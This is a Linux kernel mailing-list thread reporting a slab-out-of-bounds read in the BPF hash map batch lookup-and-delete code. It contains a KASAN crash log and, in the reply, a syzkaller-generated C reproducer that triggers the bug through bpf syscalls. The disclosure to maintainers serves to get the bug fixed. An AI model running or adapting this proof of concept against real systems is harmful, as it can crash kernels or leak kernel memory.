Re: A slab-out-of-bounds Read bug in __htab_map_lookup_and_delete_batch

[butt3rflyh4ck]

Hi, the attachment is a reproducer. Enjoy it.

Regards,
   butt3rflyh4ck.


On Thu, Dec 30, 2021 at 10:23 AM Alexei Starovoitov
<alexei.starovoitov@xxxxxxxxx> wrote:
>
> On Wed, Dec 29, 2021 at 2:10 AM butt3rflyh4ck
> <butterflyhuangxx@xxxxxxxxx> wrote:
> >
> > Hi, there is a slab-out-bounds Read bug in
> > __htab_map_lookup_and_delete_batch in kernel/bpf/hashtab.c
> > and I reproduce it in linux-5.16.rc7(upstream) and latest linux-5.15.11.
> >
> > #carsh log
> > [  166.945208][ T6897]
> > ==================================================================
> > [  166.947075][ T6897] BUG: KASAN: slab-out-of-bounds in _copy_to_user+0x87/0xb0
> > [  166.948612][ T6897] Read of size 49 at addr ffff88801913f800 by
> > task __htab_map_look/6897
> > [  166.950406][ T6897]
> > [  166.950890][ T6897] CPU: 1 PID: 6897 Comm: __htab_map_look Not
> > tainted 5.16.0-rc7+ #30
> > [  166.952521][ T6897] Hardware name: QEMU Standard PC (i440FX + PIIX,
> > 1996), BIOS 1.13.0-1ubuntu1 04/01/2014
> > [  166.954562][ T6897] Call Trace:
> > [  166.955268][ T6897]  <TASK>
> > [  166.955918][ T6897]  dump_stack_lvl+0x57/0x7d
> > [  166.956875][ T6897]  print_address_description.constprop.0.cold+0x93/0x347
> > [  166.958411][ T6897]  ? _copy_to_user+0x87/0xb0
> > [  166.959356][ T6897]  ? _copy_to_user+0x87/0xb0
> > [  166.960272][ T6897]  kasan_report.cold+0x83/0xdf
> > [  166.961196][ T6897]  ? _copy_to_user+0x87/0xb0
> > [  166.962053][ T6897]  kasan_check_range+0x13b/0x190
> > [  166.962978][ T6897]  _copy_to_user+0x87/0xb0
> > [  166.964340][ T6897]  __htab_map_lookup_and_delete_batch+0xdc2/0x1590
> > [  166.965619][ T6897]  ? htab_lru_map_update_elem+0xe70/0xe70
> > [  166.966732][ T6897]  bpf_map_do_batch+0x1fa/0x460
> > [  166.967619][ T6897]  __sys_bpf+0x99a/0x3860
> > [  166.968443][ T6897]  ? bpf_link_get_from_fd+0xd0/0xd0
> > [  166.969393][ T6897]  ? rcu_read_lock_sched_held+0x9c/0xd0
> > [  166.970425][ T6897]  ? lock_acquire+0x1ab/0x520
> > [  166.971284][ T6897]  ? find_held_lock+0x2d/0x110
> > [  166.972208][ T6897]  ? rcu_read_lock_sched_held+0x9c/0xd0
> > [  166.973139][ T6897]  ? rcu_read_lock_bh_held+0xb0/0xb0
> > [  166.974096][ T6897]  __x64_sys_bpf+0x70/0xb0
> > [  166.974903][ T6897]  ? syscall_enter_from_user_mode+0x21/0x70
> > [  166.976077][ T6897]  do_syscall_64+0x35/0xb0
> > [  166.976889][ T6897]  entry_SYSCALL_64_after_hwframe+0x44/0xae
> > [  166.978027][ T6897] RIP: 0033:0x450f0d
> >
> >
> > In hashtable, if the elements' keys have the same jhash() value, the
> > elements will be put into the same bucket.
> > By putting a lot of elements into a single bucket, the value of
> > bucket_size can be increased to overflow.
> >  but also we can increase bucket_cnt to out of bound Read.
>
> Can you be more specific?
> If you can send a patch with a fix it would be even better.
>
> > the out of bound Read in  __htab_map_lookup_and_delete_batch code:
> > ```
> > ...
> > if (bucket_cnt && (copy_to_user(ukeys + total * key_size, keys,
> > key_size * bucket_cnt) ||
> >     copy_to_user(uvalues + total * value_size, values,
> >     value_size * bucket_cnt))) {
> > ret = -EFAULT;
> > goto after_loop;
> > }
> > ...
> > ```
> >
> > Regards,
> >  butt3rflyh4ck.
> >
> >
> > --
> > Active Defense Lab of Venustech



-- 
Active Defense Lab of Venustech
// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE 

#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include <linux/futex.h>

static unsigned long long procid;

static void sleep_ms(uint64_t ms)
{
	usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
	struct timespec ts;
	if (clock_gettime(CLOCK_MONOTONIC, &ts))
	exit(1);
	return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static void thread_start(void* (*fn)(void*), void* arg)
{
	pthread_t th;
	pthread_attr_t attr;
	pthread_attr_init(&attr);
	pthread_attr_setstacksize(&attr, 128 << 10);
	int i = 0;
	for (; i < 100; i++) {
		if (pthread_create(&th, &attr, fn, arg) == 0) {
			pthread_attr_destroy(&attr);
			return;
		}
		if (errno == EAGAIN) {
			usleep(50);
			continue;
		}
		break;
	}
	exit(1);
}

typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}

static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (ev->state)
	exit(1);
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

static int event_isset(event_t* ev)
{
	return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}

static int event_timedwait(event_t* ev, uint64_t timeout)
{
	uint64_t start = current_time_ms();
	uint64_t now = start;
	for (;;) {
		uint64_t remain = timeout - (now - start);
		struct timespec ts;
		ts.tv_sec = remain / 1000;
		ts.tv_nsec = (remain % 1000) * 1000 * 1000;
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
		if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
			return 1;
		now = current_time_ms();
		if (now - start > timeout)
			return 0;
	}
}

static bool write_file(const char* file, const char* what, ...)
{
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);
	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		int err = errno;
		close(fd);
		errno = err;
		return false;
	}
	close(fd);
	return true;
}

static void kill_and_wait(int pid, int* status)
{
	kill(-pid, SIGKILL);
	kill(pid, SIGKILL);
	for (int i = 0; i < 100; i++) {
		if (waitpid(-1, status, WNOHANG | __WALL) == pid)
			return;
		usleep(1000);
	}
	DIR* dir = opendir("/sys/fs/fuse/connections");
	if (dir) {
		for (;;) {
			struct dirent* ent = readdir(dir);
			if (!ent)
				break;
			if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
				continue;
			char abort[300];
			snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name);
			int fd = open(abort, O_WRONLY);
			if (fd == -1) {
				continue;
			}
			if (write(fd, abort, 1) < 0) {
			}
			close(fd);
		}
		closedir(dir);
	} else {
	}
	while (waitpid(-1, status, __WALL) != pid) {
	}
}

static void setup_test()
{
	prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
	setpgrp();
	write_file("/proc/self/oom_score_adj", "1000");
}

struct thread_t {
	int created, call;
	event_t ready, done;
};

static struct thread_t threads[16];
static void execute_call(int call);
static int running;

static void* thr(void* arg)
{
	struct thread_t* th = (struct thread_t*)arg;
	for (;;) {
		event_wait(&th->ready);
		event_reset(&th->ready);
		execute_call(th->call);
		__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
		event_set(&th->done);
	}
	return 0;
}

static void execute_one(void)
{
	int i, call, thread;
	for (call = 0; call < 5; call++) {
		for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) {
			struct thread_t* th = &threads[thread];
			if (!th->created) {
				th->created = 1;
				event_init(&th->ready);
				event_init(&th->done);
				event_set(&th->done);
				thread_start(thr, th);
			}
			if (!event_isset(&th->done))
				continue;
			event_reset(&th->done);
			th->call = call;
			__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
			event_set(&th->ready);
			event_timedwait(&th->done, 50);
			break;
		}
	}
	for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
		sleep_ms(1);
}

static void execute_one(void);

#define WAIT_FLAGS __WALL

static void loop(void)
{
	int iter = 0;
	for (;; iter++) {
		int pid = fork();
		if (pid < 0)
	exit(1);
		if (pid == 0) {
			setup_test();
			execute_one();
			exit(0);
		}
		int status = 0;
		uint64_t start = current_time_ms();
		for (;;) {
			if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
				break;
			sleep_ms(1);
			if (current_time_ms() - start < 5000)
				continue;
			kill_and_wait(pid, &status);
			break;
		}
	}
}

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

uint64_t r[1] = {0xffffffffffffffff};

void execute_call(int call)
{
		intptr_t res = 0;
	switch (call) {
	case 0:
*(uint32_t*)0x20000380 = 0xa;
*(uint32_t*)0x20000384 = 7;
*(uint32_t*)0x20000388 = 0x309;
*(uint32_t*)0x2000038c = 0xf3;
*(uint32_t*)0x20000390 = 0;
*(uint32_t*)0x20000394 = 1;
*(uint32_t*)0x20000398 = 0;
memset((void*)0x2000039c, 0, 16);
*(uint32_t*)0x200003ac = 0;
*(uint32_t*)0x200003b0 = -1;
*(uint32_t*)0x200003b4 = 0;
*(uint32_t*)0x200003b8 = 0;
*(uint32_t*)0x200003bc = 0;
*(uint64_t*)0x200003c0 = 0;
		res = syscall(__NR_bpf, 0ul, 0x20000380ul, 0x48ul);
		if (res != -1)
				r[0] = res;
		break;
	case 1:
		syscall(__NR_bpf, 1ul, 0ul, 0ul);
		break;
	case 2:
*(uint32_t*)0x20000180 = -1;
*(uint64_t*)0x20000188 = 0x20000a00;
memcpy((void*)0x20000a00, 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4096);
*(uint64_t*)0x20000190 = 0x20001a00;
*(uint64_t*)0x20000198 = 4;
		syscall(__NR_bpf, 1ul, 0x20000180ul, 0x20ul);
		break;
	case 3:
*(uint64_t*)0x200001c0 = 0;
*(uint64_t*)0x200001c8 = 0;
*(uint64_t*)0x200001d0 = 0x200000c0;
*(uint64_t*)0x200001d8 = 0x20000240;
*(uint32_t*)0x200001e0 = -1;
*(uint32_t*)0x200001e4 = r[0];
*(uint64_t*)0x200001e8 = 0;
*(uint64_t*)0x200001f0 = 0;
		syscall(__NR_bpf, 0x1aul, 0x200001c0ul, 0x38ul);
		break;
	case 4:
*(uint64_t*)0x20000680 = 0;
*(uint64_t*)0x20000688 = 0;
*(uint64_t*)0x20000690 = 0x20000340;
*(uint64_t*)0x20000698 = 0x200005c0;
*(uint32_t*)0x200006a0 = 0xffff;
*(uint32_t*)0x200006a4 = r[0];
*(uint64_t*)0x200006a8 = 0;
*(uint64_t*)0x200006b0 = 0;
		syscall(__NR_bpf, 0x19ul, 0x20000680ul, 0x38ul);
		break;
	}

}
int main(void)
{
		syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
	syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
	syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
	for (procid = 0; procid < 5; procid++) {
		if (fork() == 0) {
			loop();
		}
	}
	sleep(1000000);
	return 0;
}